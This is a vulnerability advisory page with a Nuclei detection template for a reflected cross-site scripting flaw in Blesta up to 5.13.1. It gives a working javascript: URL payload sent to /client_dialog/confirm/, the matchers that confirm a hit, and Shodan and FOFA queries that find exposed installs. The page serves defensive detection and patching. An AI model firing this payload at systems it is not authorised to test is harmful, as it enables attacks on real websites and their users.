Blesta <= 5.13.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.4%likelihood of exploitation, next 30 days

37%of all CVEs are less likely

Readycheck to confirm it

Blesta 3.x through 5.x before 5.13.3 contains an input validation vulnerability caused by mishandling input, letting attackers potentially exploit the system, exploit requires unspecified conditions.

Impact

Attackers can exploit input validation flaws to cause unexpected behavior or security issues.

Fix

Upgrade to version 5.13.3 or later.

How to confirm it

Send: GET /client_dialog/confirm/?confirm_url=javascript:alert(document.domain)
Positive when: contains "action=\"javascript:alert(document.domain)\"" and "<form method=\"post\"" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-25616 -u <target>

The full check

id: CVE-2026-25616

info:
  name: Blesta <= 5.13.1 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
   Blesta 3.x through 5.x before 5.13.3 contains an input validation vulnerability caused by mishandling input, letting attackers potentially exploit the system, exploit requires unspecified conditions.
  impact: |
   Attackers can exploit input validation flaws to cause unexpected behavior or security issues.
  remediation: |
   Upgrade to version 5.13.3 or later.
  reference:
    - https://karmainsecurity.com/KIS-2026-01
    - https://www.blesta.com/2026/01/28/security-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25616
  classification:
    cve-id: CVE-2026-25616
    epss-score: 0.0042
    epss-percentile: 0.36605
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.title:"Blesta"
    fofa-query: app="Blesta"
  tags: cve,cve2026,blesta,xss

http:
  - raw:
      - |
        GET /client_dialog/confirm/?confirm_url=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="javascript:alert(document.domain)"'
          - '<form method="post"'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from